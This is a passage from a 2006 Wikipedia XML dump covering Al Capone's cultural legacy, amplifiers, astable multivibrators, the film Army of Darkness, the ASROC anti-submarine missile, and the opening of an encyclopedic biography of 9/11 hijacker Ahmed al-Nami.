Notorious as one of the most well known, yet, popular [[American gangsters]] of the [[20th century]], Capone has been the subject of numerous articles, books, and films.  He has been portrayed on screen by [[Nicholas Kokenes]], [[Wallace Beery]], [[Paul Muni]], [[Barry Sullivan]], [[Rod Steiger]], [[Neville Brand]], [[Jason Robards]], [[Ben Gazzara]], [[Robert De Niro]] and [[William Forsythe]].  Capone and his [[era]] were highlighted in the 1959 [[television film]] ''[[The Untouchables]]'' and its [[feature film]] and [[television series]] [[remake]]s which has created the popular myth of the personal war between the crime lord and [[Eliot Ness]]. He has also featured as an off-screen character (in a deleted scene that was added to the DVD release) in the 2002 film ''[[Road to Perdition]]'', the comic book, ''[[Tintin in America]]'' as the only real person ever to appear in [[The Adventures of Tintin]] in character and as a ghost in [[Peter F. Hamilton]]'s ''[[The Night's Dawn Trilogy]]'' science fiction novels. Capone is also the subject of [[Prince Buster]] song ''Al Capone'' and is also the namesake of [[Rancid|Rancid's]] ''Young Al Capone''.

Tunnels found under the city of [[Moose Jaw]], [[Saskatchewan]] are said to have been another hideout of Capone's.  The tunnels are a very popular tourist attraction, due in part to the alleged link to Capone.


==External links==
{{wikiquote}}
*[http://www.rootdig.com/al_capone.html Al Capone in the 1900-1930 Census]
*[http://foia.fbi.gov/foiaindex/capone.htm Complete FBI files on Al Capone]
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=170&amp;pt=Alphonse%20%27Al%27%20Capone Find-A-Grave Alphonse 'Al' Capone]
*[http://www.crimelibrary.com/gangsters_outlaws/mob_bosses/capone/hart_10.html?sect=15 A short profile of his older brother Vincenzo]
*[http://crimemagazine.com/brothers_capone.htm An article on the Brothers Capone]
*{{imdb name|id=0135330|name=Al Capone (I)}}

[[Category:1899 births|Capone, Al]]
[[Category:1947 deaths|Capone, Al]]
[[Category:Brooklynites|Capone, Al]]
[[Category:Chicagoans|Capone, Al]]
[[Category:Depression era gangsters|Capone, Al]]
[[Category:Italian-American mobsters|Capone, Al]]
[[Category:Chicago Outfit bosses|Capone, Al]]
[[Category:Drug lords|Capone, Al]]
[[Category:Prisoners convicted of white-collar crimes|Capone, Al]]
[[Category:Roman Catholics|Capone, Al]]
[[Category:High school dropouts|Capone, Al]]




[[af:Al Capone]]
[[ca:Al Capone]]
[[da:Al Capone]]
[[de:Al Capone]]
{{Link FA|de}}
[[es:Al Capone]]
[[eo:Al CAPONE]]
[[fr:Al Capone]]
[[hu:Al Capone]]
[[hr:Al Capone]]
[[it:Al Capone]]
[[he:אל קפונה]]
[[lt:Al Kaponė]]
[[nl:Al Capone]]
[[ja:アル・カポネ]]
[[no:Al Capone]]
[[pl:Al Capone]]
[[pt:Al Capone]]
[[fi:Al Capone]]
[[sq:Al Capone]]
[[sv:Al Capone]]</text>
    </revision>
  </page>
  <page>
    <title>Amplifier</title>
    <id>3214</id>
    <revision>
      <id>41538256</id>
      <timestamp>2006-02-28T00:45:23Z</timestamp>
      <contributor>
        <ip>68.227.194.17</ip>
      </contributor>
      <comment>/* Output [[dynamic range]] */  typo fix</comment>
      <text xml:space="preserve">An '''amplifier''' can be considered to be ''any'' [[device]] that uses a small amount of energy to control a larger amount, although the term today usually refers to an [[electronics|electronic]] amplifier.  The relationship of the input to the output of an amplifier — usually expressed as a function of the input frequency — is called the [[transfer function]] of the amplifier, and the magnitude of the transfer function is termed the [[gain]]. 
== General characteristics of amplifiers ==
Most amplifiers can be characterised by a number of parameters.

=== Gain ===
How much an amplifier increases the signal level is called the [[gain]]. This is usually measured in [[decibel]]s (dB).
Mathematically speaking, the gain is equal to the output level divided by the input level.

=== Output [[dynamic range]] ===
This is the range usually quoted in dB between the lowest useful output and the largest useful output level. Since the lowest useful level is limited by output noise, this is quoted as the amplifier dynamic range.

=== Bandwidth and rise time ===
The [[bandwidth]] BW of an amplifier is usually defined as the difference between the lower and upper [[half power point]]s. This is therefore also known as the −3 dB BW. Bandwidths for other response tolerances are sometimes quoted (−1 dB, −6 dB etc.

As an example, a good audio amplifier will have a −3 dB BW  from around twenty hertz to about twenty kilohertz (the range of normal human hearing).

The [[rise time]] of an amplifier is the time taken for the out put to change from 10% to 90% of its final level when driven by a step input.
For a [[Gaussian response]] system (or a simple RC roll off), the rise time is given by :

Tr = BW/0.35

where BW is in [[hertz|Hz]] and Tr is in [[second]]s

=== Settling time and aberrations ===
Time taken for output to settle to within a certain percentage of the final value (say 0.1%). This is usually specified in oscilloscope vertical amplifiers and high accuracy measurement systems.

=== Slew rate ===
[[Slew rate]] is the maximum rate of change of output variable, usually quotes in volts per second (or microsecond).

=== Sine wave distortion ===
The properties of amplifier circuits distort the signal. This distortion comes in several forms including [[harmonic distortion]] and [[intermodulation distortion]].

Harmonic distortion is fairly easy to measure. The amplifier output is connected to a [[spectrum analyzer]], (a device which graphs frequency against amplitude). Then  a pure tone is applied to the amplifier input. Typically a sinusoidal signal of 1 kHz is used. The largest signal on your analyzer should be the input signal at 1 kHz. You will sometimes see humps at even intervals along the graph at even multiples of that base signal. These are the harmonics. The [[total harmonic distortion]] (THD) is the sum of these components relative to the signal.

=== Noise ===
How much noise is introduced by the amplification process? This is an undesirable thing that is the inevitable result of the electronics devices and components. It is measured in either decibels or the peak output voltage produced by the amp when no signal is applied.

=== Efficiency ===
How much of the input power is usefully applied to the amplifier's output? Class A amplifiers are very inefficient, in the range of 10–20% with a max efficiency of 25%. Modern Class AB amps are commonly between 35–55% efficient with a theoretical maximum of 78.5%. Commercially available class D amplifiers have reported efficiencies as high as 97%. The efficiency of the amplifier limits the amount of total power output that is usefully available. Note that more efficient amps run much cooler, and often do not need any fans even in multi-kilowatt designs.

== Electronic amplifiers ==
{{main|electronic amplifier}}
There are numerous types of electronic amplifier depending upon the application.

The most common type of amplifier is the electronic amplifier, commonly used in [[radio]] and [[television]] [[transmitter|transmitters]] and [[receiver (radio)|receivers]], [[high-fidelity]] (&quot;hi-fi&quot;) stereo equipment, microcomputers and other electronic digital equipment, and [[guitar]] and other [[instrument amplifier]]s. Its critical components are [[active device]]s, such as [[vacuum tube]]s or [[transistor]]s.

=== Class ===
Amplifiers are commonly classified by the conduction angle of the input signal through the amplifying device; see [[electronic amplifier]].

Where efficiency is not a consideration, most small signal linear amplifiers are designed as class A,  which means that one active device amplifies all portions (360deg) of the input signal. 

Class B transmits 180deg of the input signal to the output with each device. Class AB transmits between 180 and 360 degrees selected by the amplifier creator.  These classes are usually used in efficient low frequency amplifiers (such as audio and hi-fi) owing to their relatively high efficiency, or other designs where both linearity is important and efficiency is important (cell phones, cell towers, TV transmitters). Another popular RF amplifier class is Class C which means that they amplify less than 180&amp;deg; of the input signal. The signal is restored to almost sinusoidal shape by the tuned circuit, and efficiency is higher than A, AB or B classes of amplification, but linearity is very poor.  

There are non-linear, or switch mode amplifiers that are popular in applications where efficiency and raw power generation is important.  Class D, E, F are popular switch mode amplifiers.  There are methods of making them linear, but linearity is generally even less than the linear modes of operation.  Common switch mode applications are Audio subwoofers, AM and FM radio transmitters, and some long battery life cellphones.

=== Vacuum tube (valve) amplifiers ===
{{main|valve amplifier}}

Today most sound systems use [[transistor]] amplifiers for economic reasons, but valve amplifiers remain popular for guitar amplification, for &quot;high end&quot; [[hi-fi]] systems and analog production and replay equipment in [[recording studio]]s.

Valve amplifiers are widely, but not always correctly, associated with the [[valve sound]]. Some claim this sound has more to do with the circuit topology and circuit design of the amplifier, than to the use of valves rather than transistors as the active gain devices. In the earlier years of audio, [[vacuum tube]]s filled the active device role.

=== Transistor amplifiers ===
:''Main articles: [[transistor]], [[bipolar junction transistor]], [[MOSFET]]''

The essential role of this active element is to magnify an input signal to yield a significantly larger output signal. The amount of magnification (the &quot;forward gain&quot;) is determined by the external circuit design as well as the active device. 

Many common active devices in transistor amplifiers are [[bipolar junction transistor]]s ([[BJT]]s) and [[metal oxide semiconductor field-effect transistor]]s ([[MOSFET]]s).  

Allpications are numerous, some common examples are audio amplifiers in a home stereo or PA system, RF high power generation for semiconductor equipment, to RF and Microwave amplification in a cell phone.

=== Operational amplifiers (op-amps) ===
:''Main articles: [[operational amplifier]], [[instrumentation amplifier]]''

An operational amplifier is a solid state integrated circuit amplifier which employs external feedback for control of its transfer function or [[gain]]

===Musical instrument amplifiers===
See main page: [[instrument amplifier]].

===Audio amplifier===
An audio amplifier is usually used to amplify signals such as music or speech.
{{Main|Audio amplifier}}
=== Carbon microphone ===
One of the first devices to amplify signals was the carbon [[microphone]]. By channeling a large electric current through the compressed [[carbon]] granules in the microphone, a small sound signal could produce a much larger electric signal. The carbon microphone was extremely important in early telecommunications until other types of amplifiers were available.

== Other amplifier types ==

=== Magnetic amplifier ===
{{main|magnetic amplifier}}
A '''magnetic amplifier''' is a [[transformer]]-like device that makes use of the saturation of magnetic materials to produce amplification. It is a non-electronic electrical amplifier with no moving parts. The [[bandwidth]] of magnetic amplifiers extends to the tens of kilohertz.

An [[Amplidyne]] or [[Rototrol]] is a rotating machine like an [[electrical generator]] that provides amplification of electrical signals  by conversion of mechanical energy to electrical energy.

=== Optical amplifiers ===
{{main|Optical amplifier}}

'''Optical amplifiers''' amplify [[light]], through the process of [[stimulated emission]].
=== Miscellaneous types ===
*There are also mechanical amplifiers, such as the automotive [[servomechanism|servo]] used in [[brake|braking]].
*[[Relays]] can be included under the above definition of amplifiers, although their transfer function is not [[linear]] (that is, they are either open or closed).
*Another type of amplifier is the [[fluidic amplifier]], based on the [[fluidic triode]].

See also: [[electronic amplifier]], [[low noise amplifier]], [[preamplifier]], [[satellite dish|satellite]] [[in-line]] amplifier.

==External links==
* [http://www.hamradio.co.in/circuit/60_watts_rf_amplifier.php 60 Watt RF Amplifier] Solid state RF power amplifier using IRF840. Simple and easy to construct. IRF840 can handle a maximum power output of 125 Watts.
* [http://www.audiocircuit.com The Audio Circuit] — Information on and user reviews of [[loudspeaker]]s, [[headphone]]s, amplifiers, and playback equipment.
* [http://www.stereo411.com/forum/viewforum.php?f=14 Stereo411.com Amplifier Forum] — Talk about amplifiers and other hi-fi related topics.

[[Category:Amplifiers]]

[[da:Forstærker]]
[[de:Verstärker (Technik)]]
[[fi:Vahvistin]]
[[fr:Amplificateur]]
[[it:Amplificatore]]
[[ja:&amp;#12450;&amp;#12531;&amp;#12503;]]
[[nl:Versterker]]
[[pl:Wzmacniacz]]
[[ru:&amp;#1059;&amp;#1089;&amp;#1080;&amp;#1083;&amp;#1080;&amp;#1090;&amp;#1077;&amp;#1083;&amp;#1100; &amp;#1079;&amp;#1074;&amp;#1091;&amp;#1082;&amp;#1086;&amp;#1074;&amp;#1099;&amp;#1093; &amp;#1095;&amp;#1072;&amp;#1089;&amp;#1090;&amp;#1086;&amp;#1090;]]
[[sv:förstärkare]]</text>
    </revision>
  </page>
  <page>
    <title>Astable</title>
    <id>3215</id>
    <revision>
      <id>40630162</id>
      <timestamp>2006-02-21T23:08:38Z</timestamp>
      <contributor>
        <ip>35.11.33.239</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">An '''astable''' [[multivibrator]] is an [[electronic circuit]] that has two states, neither one which is stable.  The circuit therefore behaves as an [[oscillator]].  The time spent in each state is usually controlled by the charging (or discharging) of a [[capacitor]] through a [[resistor]]. 
There are several types of astables, and they can be made in many different ways. Some are made from [[NOR]] gates while others are made from dedicated timer chips.
==See also==
*[[bistable]] multivibrator, [[monostable]] multivibrator.

[[Category:Digital electronics]]

[[da:Astabil multivibrator]]
[[es:Astable]]

An astable multivibrator is an electronic circuit that has two states, neither one OF which is stable. The circuit therefore behaves as an oscillator. The time spent in each state is usually controlled by the charging (or discharging) of a capacitor through a resistor. There are several types of astables, and they can be made in many different ways. Some are made from NOR gates while others are made from dedicated timer chips.</text>
    </revision>
  </page>
  <page>
    <title>Adalbert Apostle of the Slavs</title>
    <id>3216</id>
    <revision>
      <id>15901577</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>MichaelTinkler</username>
        <id>18</id>
      </contributor>
      <comment>redirecting to Adalbert of magdeburg</comment>
      <text xml:space="preserve">#REDIRECT [[Adalbert of Magdeburg]] 
</text>
    </revision>
  </page>
  <page>
    <title>Army of Darkness</title>
    <id>3217</id>
    <revision>
      <id>41357625</id>
      <timestamp>2006-02-26T20:57:57Z</timestamp>
      <contributor>
        <ip>64.105.67.19</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the 1993 Evil Dead film &quot;Army of Darkness&quot;.  For the wrestling team,   go to [[The Army of Darkness]].

{{Infobox Film |
  name     = Army of Darkness |
  image          = Army of Darkness poster.jpg |
  director       = [[Sam Raimi]] |
  producer       = [[Dino De Laurentiis]]&lt;br&gt;[[Sam Raimi]]&lt;br&gt;[[Bruce Campbell]] |
  writer         = [[Sam Raimi]]&lt;br&gt;[[Ivan Raimi]] |
  starring       = [[Bruce Campbell]]&lt;br&gt;[[Embeth Davidtz]]&lt;br&gt;[[Bridget Fonda]] |
  movie_music    = [[Danny Elfman]]&lt;br&gt;Joe DoLuca]] |
  distributor    = [[Universal Studios|Universal Pictures]] |
  released   = [[February 19]], [[1993]] ([[United States|USA]]) |
  runtime        = 81 min. |
  language = [[English language|English]] |
  imdb_id        = 0106308 |
  music          = |
  awards         = |
  budget         = $11,000,000 |
  preceded_by    = ''[[Evil Dead II]]''|
}}
'''''Army of Darkness''''' (also known as '''''Medieval Dead''''') ([[1993]]) is the third installment of the ''[[Evil Dead]]'' film trilogy, written and directed by [[Sam Raimi]] and starring [[Bruce Campbell]]. This movie takes a more humorous bent than its predecessors.

The advertising [[tagline]] was &quot;Trapped in Time. Surrounded by Evil. Low on Gas.&quot;

The movie had a considerably higher budget than the prior two ''Evil Dead'' films. The budget was estimated to be around $11 million; ''[[Evil Dead II]]'' had a budget of $3.5 million and ''[[The Evil Dead]]'' a budget of $350,000.

At the box office, the film was not a big success, only grossing $11,501,093 domestically.  After its video release, however, it has obtained an ever-growing cult following, along with the other two films in the trilogy.

The movie has become a [[cult film|cult classic]], and quotes and tributes have even found their way into video games such as ''[[Duke Nukem 3D]]'', ''[[Blood (computer game)|Blood]]'', [[Warcraft III]] and [[World of Warcraft]].

==Plot==

{{spoiler}}

The protagonist, [[Ash Williams|Ash]] (Campbell), who discovered the [[Necronomicon]] ex Mortis, or &quot;Book of the Dead&quot; that unleashed demonic forces in the previous films ''[[The Evil Dead]]'' and ''[[Evil Dead II]]'', is sucked into a time vortex with his [[Oldsmobile]], an event caused by reading the spell to defeat the demons. He ends up in England in AD 1300, where he is believed to be the &quot;Hero From The Sky,&quot; the man destined to deliver mankind to salvation from the &quot;Deadites,&quot; or the undead.

The only way to return to his time and stop the Deadites is to retrieve the Necronomicon, which contains both spells. While preparing for this, Ash becomes romantically involved with a local woman, Sheila ([[Embeth Davidtz]]). 

When Ash is unable to recall the precise words needed to safely retrieve the Necronomicon, he inadvertently unleashes the forces of the Deadites, who are led by an evil clone of Ash. 
Despite causing the predicament faced by the humans, Ash initially demands to be returned to his own time. When Sheila is captured by a flying Deadite, he becomes determined to lead the humans against the Deadite army. Reluctantly the people agree to join Ash.

Using scientific knowledge from the future from chemistry and engineering books in the trunk of his Oldsmobile, Ash successfully leads the humans to defeat the Deadites and save Sheila. Subsequently he is sent back to the present but once again he is unable to recall the correct words used for the incantation, allowing a Deadite to follow him through time.

==Alternate endings==
The movie has two distinct endings, both of which are covered on the movie's [[DVD]].  The more familiar ending picks up after Ash has returned to the present, in which he stages one final confrontation with the &quot;she-bitch&quot; in the S-Mart Housewares Department.  This is the version shown in theatres and on [[television]].

The alternate ending, which was supposedly favored by director [[Sam Raimi]], depicts Ash as he races toward a cave to drink the [[potion|magic potion]].  Apparently, Ash drinks too much of the potion and sleeps well beyond his time and awakens in a post-[[apocalypse|apocalyptic]] [[Earth]].  This ending was cut, however, after critics showed their displeasure with the juxtaposition of such a quirky movie with a morbid ending.

==Trivia==
*The mystical phrase Ash is supposed to speak when he takes the [[Necronomicon]], &quot;Clatto Verata Nicto&quot; (As it is in the script) is a reference to the classic [[science fiction]] film ''[[The Day the Earth Stood Still]]''. In the film, the phrase &quot;[[Klaatu barada nikto]]&quot; is used to cancel the robot Gort's attack.

*[[Bruce Campbell]] sustained an injury on the set when a piece of armor made a gash in his chin.  When he was rushed to the emergency room, he was still in his costume and make-up.  The physicians had to ask which cut was the real one!

*The film was mostly shot in the Nevada desert near Las Vegas.

*The plot of the film was originally meant for ''[[Evil Dead II]]''. During pre-production, the plot of ''Evil Dead II'' involved the evil force from the end of the first film hitting Ash and sending him back to 1300 AD where he would destroy the book. Promotional drawings were created and published in ''Variety'' during the casting process before the budget was deemed too little for the plot. The working title at the time? ''Evil Dead II: Army of Darkness''.

*In the opening scene when Bruce tells the story so far, you can see the support cable he was attached to as he was being sucked into the portal from the cabin. This was obviously overlooked by the film's editors and can still be clearly seen on television (on rotation on the [[SciFi Channel]].) to this day.

*The film was edited into multiple cuts to meet with the motion picture standards which differ around the world. The original ending, which can be seen on some special edition dvds of the film was deemed to be depressing by the movie studio, and so a new happier ending was written for the film, to the dismay of the director Sam Raimi and star Bruce Campbell.

*Anyone who has played the successful [[Duke Nukem 3D]] can see the uncanny similarities it shares with various cult movies, such as [[They Live]] and Army of Darkness. The vast majority of the game's main character's lines were clearly taken from the movie (lines such as 'groovy,' 'gimme some sugar baby,' 'hail to the king,' 'come get some,' 'this is my BOOM STICK!',and others). The official movie poster, when compared to the game's box cover, is also a dead giveaway. These obvious take-offs were not seen as homages by star Bruce Campbell, but more as a rip-off, according to comments printed in [[IGN for Men]]: &quot;...they're rip-off artists. Let them get their own damn material. It's called hiring a writer. They're blatantly ripping it off and if I was any kind of litigious guy they would've gotten a phone call by now. It's depressing and I think it's wrong. That's why [[Tachyon: The Fringe]] will kick little Duke's ass any day.&quot; --Bruce Campbell

*Director [[Peter Jackson]] pays [[homage]] to ''Army of Darkness'' in ''[[The Lord of the Rings film trilogy]]'' in two scenes. Similar dialog is used between the scene where the humans declare their support for Ash and the scene where the ''[[The Lord of the Rings: The Fellowship of the Ring (film)|The Fellowship of the Ring]]'' is first formed. Also, the wiseman brings a portion of newly created [[gunpowder]] close to a naked flame but Ash abruptly moves it away. A similar scene occurs in ''[[The Lord of the Rings: The Two Towers (film)|The Two Towers]]'' between [[Wormtongue]] and [[Saruman]].

*The 1997 [[PlayStation]] video game [[Herc's Adventures]] published by [[Lucas Arts]] pay homage to &quot;Army of Darkness&quot; in several scenes.  When you die and end up in [[Hades]] skeletons will crawl up to you and shout &quot;I'll cut yer gizzard out&quot; and for numerous cemetery scenes with skeletal hands jumping out and grabbing you.

*In [[Texas]], there is an actual S-Mart store, where you can ask for the &quot;Army of Darkness&quot; tour which is a tour of the store, including Ash's specialty, housewares.

*In [[Oregon]] there is another actual S-Mart store, just north of Ashland on [[Interstate 5]].

*The Christian band [[Dogwood (band)|Dogwood]] have a quote of Ash's speech at the castle in the title track off the album 'Building a better me' from 1:46 — 1:55 (“Go ahead and run.  Run home and cry to mama.  Me!  I’m through runnin’”)

*The progressive rock band [[Coheed and Cambria]] also feature a quote from Ash's castle speech during the introduction of the acoustic version of their song 'Junesong Provision' (&quot;Now listen up, you primitive screwheads. See this? This... is my boomstick!&quot;)

*Instrumental rock band [[The Magic Elf]] uses an audio excerpt from the film on the album 'Heavy Meddle'. The line spoken by the skeleton general (Evil Ash) to his &quot;men&quot; just before the battle scene - &quot;bring me forth into the castle...forward!&quot; - precedes the first track on the album. 

*The rock band [[Showbread (band)|Showbread]] wrote the song 'Dead by Dawn' about the Evil Dead trilogy.  The song lyrics are largely quoted directly from the movies.  

*The outro to the final track (Orgiastic Disembowelment) on the &quot;None So Vile&quot; cd by the death metal band [[Cryptopsy]] features the same quote as the [[Dogwood (band)|Dogwood]] song.

*In the Director's Cut, Ash's response to Evil Ash (after shooting him in the face) is &quot;I ain't that good.&quot; This was replaced by what is perhaps one of the most memorable of all of Ash's lines: &quot;Good... Bad... I'm the guy with the gun.&quot; The original line, however, slipped into at least one dubbed version of the released film, with the spanish line being &quot;No soy tan bueno&quot;, a direct translation of it.

*In the castle battle, one of the deadites says &quot;It's the one in the cart that we want!&quot; However, due to the ambiant noise of the scene, it can be very easy to mistake the word &quot;cart&quot; for &quot;car&quot;. This has led to many confused fans wondering how a medieval Deadite could know about a car.

==External links==
{{wikiquote}}
*{{imdb title|id=0106308|title=Army of Darkness}}
*[http://kdkprankcalls.com/soundboards/page4/index.html Army of Darkness soundboard]
*[http://www.withinthewoods.co.uk/ Within the Woods] - Largest UK based appreciation site for ALL things Evil Dead.
*[http://www.deadites.net Deadites Online] - Web site with details and information regarding the Evil Dead trilogy, including Army of Darkness
*The [http://www.edenstudios.net/aodrpg/products.html Army of Darkness RPG] from Eden Studios. 

{{Evil Dead}}

[[Category:Evil Dead]]
[[Category:1993 films]]
[[Category:Cult films]]
[[Category:Horror films]]
[[Category:Zombie films]]
[[Category:Films directed by Sam Raimi]]
[[Category:American films]]

[[de:Armee der Finsternis]]
[[es:Army of Darkness]]
[[fr:Evil Dead 3 : l'armée des ténèbres]]</text>
    </revision>
  </page>
  <page>
    <title>ASROC</title>
    <id>3218</id>
    <revision>
      <id>32004082</id>
      <timestamp>2005-12-19T20:19:08Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Cruiser</comment>
      <text xml:space="preserve">[[Image:Asroclauncher.jpg|thumb|250px|right|An older &quot;Matchbox&quot; ASROC launcher, phased out in the 1990s]]
'''ASROC''' (for '''Anti-Submarine ROCket''') is an antisubmarine [[missile]] system, developed by the [[United States Navy]], and installed on over 200 surface ships, generally [[cruiser (warship)|cruisers]] and [[destroyer]]s.  A surface ship first detects an enemy [[submarine]] by using [[sonar]], then fires an ASROC missile, which has a [[torpedo]] or [[depth charge]] on the tip, toward the target.  Once the missile's [[rocket]] motor stops firing, the torpedo breaks away and a [[parachute]] slows it down until it enters the water.  The torpedo's motor then activates and the torpedo, which is guided by its own sonar system, homes in on the target and explodes.  (Alternatively, if the missile is instead equipped with a depth charge, it merely sinks to a predetermined depth and then explodes.)  An ASROC missile can carry either a [[nuclear weapon|nuclear]] or conventional explosive, although the nuclear depth charges were phased out by the [[1990s]].

The first ASROC system, using the MK-112 &quot;Matchbox&quot; launcher, was developed in the [[1950s]] and installed in the [[1960s]].  This system was phased out in the [[1990s]] and replaced with the Vertical Launch ASROC, or &quot;VLA&quot;.

[[Image:VLAlaunch.jpg|thumb|200px|left|Launch of a Vertical Launch ASROC]]
The VLA missile is a rocket-propelled, three-stage, [[anti-submarine warfare]] (ASW) weapon designed for deployment on [[Ticonderoga class cruiser|''Ticonderoga''-class cruisers]], [[Arleigh Burke class destroyer|''Arleigh Burke''-class destroyers]], and [[Spruance class destroyer|''Spruance''-class destroyers]] equipped with the MK41 Vertical Launching System (VLS) and MK 116 [[fire-control system|fire control system]]. The VLA missile provides the fleet with the capability for rapid response, all weather delivery of a MK 46 torpedo against threat submarines in any direction at intermediate ranges. VLA missiles were introduced into the fleet in [[1993]] as a baseline weapon for the cruisers and [[destroyer]]s equipped with the [[Aegis combat system]] and as a replacement for the ASROC weapon on [[Spruance class destroyer|''Spruance''-class destroyers]] when the original ASROC launchers were replaced by the MK 41 VLS. 

VLA missiles were first introduced with the MK 46 [[torpedo]] as its payload (RUM139A). In [[1996]] an upgrade was implemented to allow the enhanced shallow-water capable MK 46 to be incorporated as the VLA missile payload (RUM139B). VLA missiles are delivered to the fleet as All-Up-Rounds (AURs) which consist of the VLA missile installed inside of a MK15 VLS canister. VLA missiles have two basic fleet configurations, Warshot and Exercise. VLA Warshot missiles contain a MK46 warshot torpedo. VLA Exercise missiles contain an exercise torpedo, and are used for fleet exercise firings.

=== General Characteristics of the VLA===
*Primary Function: Surface Launched Missile, Anti-Submarine Warfare Weapon. 
*Contractor: Lockheed Martin, Naval Electronics &amp; Surveillance Systems - [[Akron, Ohio]] (formerly [[Loral Corp.|Loral]] Defense Systems, formerly Goodyear Aerospace).
*Unit cost: Approximately $350,000 (less torpedo payload).
*Power plant: Solid propellant rocket motor.
*Length: 
** Warshot: 16 ft 0.6 in (4.892 m) &lt;!--maybe actually 16 ft 0 in--&gt;
** Exercise: 16 ft 8 in (5.08 m)
*Weight: 
** Warshot: 1407 lb (638 kg) 
** Exercise: 1377 lb (615 kg)
*Diameter: 16.6 in (422 mm)
*Wing Span: 26 7/8 in (683 mm)
*Range: ASW Intermediate range
*Guidance system: Inertial Guidance
*Warhead: [[Mark 46 torpedo]], 100 lb (45 kg) of PBXN-103 high explosive
*Date Deployed: 1993 (RUM139A); 1996 (RUM139B)

==See also==
[[SUBROC]]

[[Category:Modern American anti-submarine rockets and missiles]]

{{Missile types}}

[[de:ASROC]]
[[ja:&amp;#12450;&amp;#12473;&amp;#12525;&amp;#12483;&amp;#12463;]]
[[pt:ASROC]]</text>
    </revision>
  </page>
  <page>
    <title>Actors and Actresses</title>
    <id>3219</id>
    <revision>
      <id>15901580</id>
      <timestamp>2002-10-09T16:40:50Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Actor]]</comment>
      <text xml:space="preserve">#REDIRECT [[Actor]]</text>
    </revision>
  </page>
  <page>
    <title>A.I.</title>
    <id>3220</id>
    <revision>
      <id>15901581</id>
      <timestamp>2005-04-15T11:11:53Z</timestamp>
      <contributor>
        <username>Asbestos</username>
        <id>67891</id>
      </contributor>
      <comment>Makes more sense for this to redirect to [[Ai]]</comment>
      <text xml:space="preserve">#REDIRECT [[Ai]]</text>
    </revision>
  </page>
  <page>
    <title>Ahmed al-Nami</title>
    <id>3221</id>
    <revision>
      <id>40781999</id>
      <timestamp>2006-02-22T23:55:42Z</timestamp>
      <contributor>
        <username>Sango123</username>
        <id>223113</id>
      </contributor>
      <minor />
      <comment>/* The Attack */ punctuation</comment>
      <text xml:space="preserve">[[Image:Ahmed al-Nami.png|right|framed|This photograph of Ahmed al-Nami was released by the [[Federal Bureau of Investigation|FBI]] in the days following the attack.]]
'''Ahmed Abdallah al-Nami ''' (&amp;#1575;&amp;#1581;&amp;#1605;&amp;#1583; &amp;#1575;&amp;#1604;&amp;#1606;&amp;#1575;&amp;#1605;&amp;#1610;, also [[transliteration|transliterated]] '''Alnami''' or '''al-Nawi''') (born December [[1977]]) was named by the [[Federal Bureau of Investigation|FBI]] as one of the [[Organizers of the September 11, 2001 attacks|hijackers]] of [[United Airlines flight 93]] as part of the [[September 11, 2001 Terrorist Attack]]. 

==History==
Born in [[Saudi Arabia]], al-Nami served as a [[muezzin]] at the Seqeley mosque after having reportedly become very religious sometime in early [[1999]]. That autumn he enrolled in the [[King Khaled University]] at [[Abha]] to study [[Sharia]], he left his family home in [[Khamis Mushayt]] in the summer of [[2000]] to complete the [[Hajj]], but never returned - instead travelling to the [[Al Farouk training camp]] in [[Afghanistan]] where he meets  and befriends [[Waleed al-Shehri|Waleed]] and [[Wail al-Shehri]], two brothers from Khamis Mushayt, and [[Saeed Alghamdi]]. The four reportedly pledge themselves to [[Jihad]] in the Spring of 2000, in a ceremony presided over by Wail - who had dubbed himself ''Abu Mossaeb al-Janubi'' after one of [[Mohammad]]'s companions.[http://www.boston.com/news/packages/underattack/news/driving_a_wedge/part1_side.shtml]

During his time at Al-Farooq, there is a curious mention under [[Mushabib al-Hamlan]]'s details that al-Nami had recently had [[laser eye surgery]], an uncited fact that does not reappear. 

By October he had taken a prospective hijacker [[Mushabib al-Hamlan]] from [[Afghanistan]] to Saudi Arabia where they both procured B-1/B-2 [[Visa (document)|Visa]]s (tourist/business) on [[October 28]]th - but al-Hamlan then decided not to proceed and is thought to have returned to his family.  al-Nami's Visa application has since been reviewed, and while he mentions that Mushabib will be travelling with him, he listed his occupation as ''student'' but failed to provide an address for his school, and listed his intended address in the United States merely as [[Los Angeles]] - in the end he never used this Visa to enter the United States, and 'lost' his current [[passport]] (C115007) which showed evidence of travel to [[Afghanistan]], and procured a new one from [[Jeddah]] (C505363).  He used the new passport to acquire a new Visa on [[April 23]]rd, again recopying his answers from previously although crossing out the lines regarding Mushabib and previous attempts to acquire a Visa.  He was interviewed by a consular officer about this application, but it was ultimately granted again to him. It has been noted since that the records only highlighted past failures to acquire a Visa, so the officer had no way of realising that al-Nami had successfully received an earlier Visa.

In mid-November, 2000, the 9/11 Commission believes that three of the future muscle hijackers, Wail al Shehri, Waleed al Shehri, and [[Ahmed al-Nami]], all of whom had obtained their U.S. visas in late October, traveled in a group from Saudi Arabia to [[Beirut]] and then onward to [[Iran]] where they could travel through to Afghanistan without getting their passports stamped. This probably followed their return to Saudi Arabia to get &quot;clean&quot; passports. An associate of a senior Hezbollah operative is thought to have been on the same flight, although this may have been a coincidence.  

While in the [[United Arab Emirates]], al-Nami purchased [[Traveler's cheque|traveler's cheques]] presumed to have been paid for by [[Mustafa Ahmed al-Hawsawi]].  Five other hijackers also passed through the UAE and purchased travellers cheques, including [[Majed Moqed]], [[Saeed Alghamdi]], [[Hamza Alghamdi]], [[Ahmed al-Haznawi]] and [[Wail Alshehri]].

[[Image:Ahmed-alNami.jpg|thumb|left|140px|al-Nami in Video]]In March of [[2001]], Ahmed al-Nami appeared in an [[Al Qaeda]]  farewell video showing 13 of the ''muscle hijackers'', 12 of whom were Saudi, before they left their training centre in [[Kandahar]]; while he does not speak, he is seen studying maps and flight manuals.

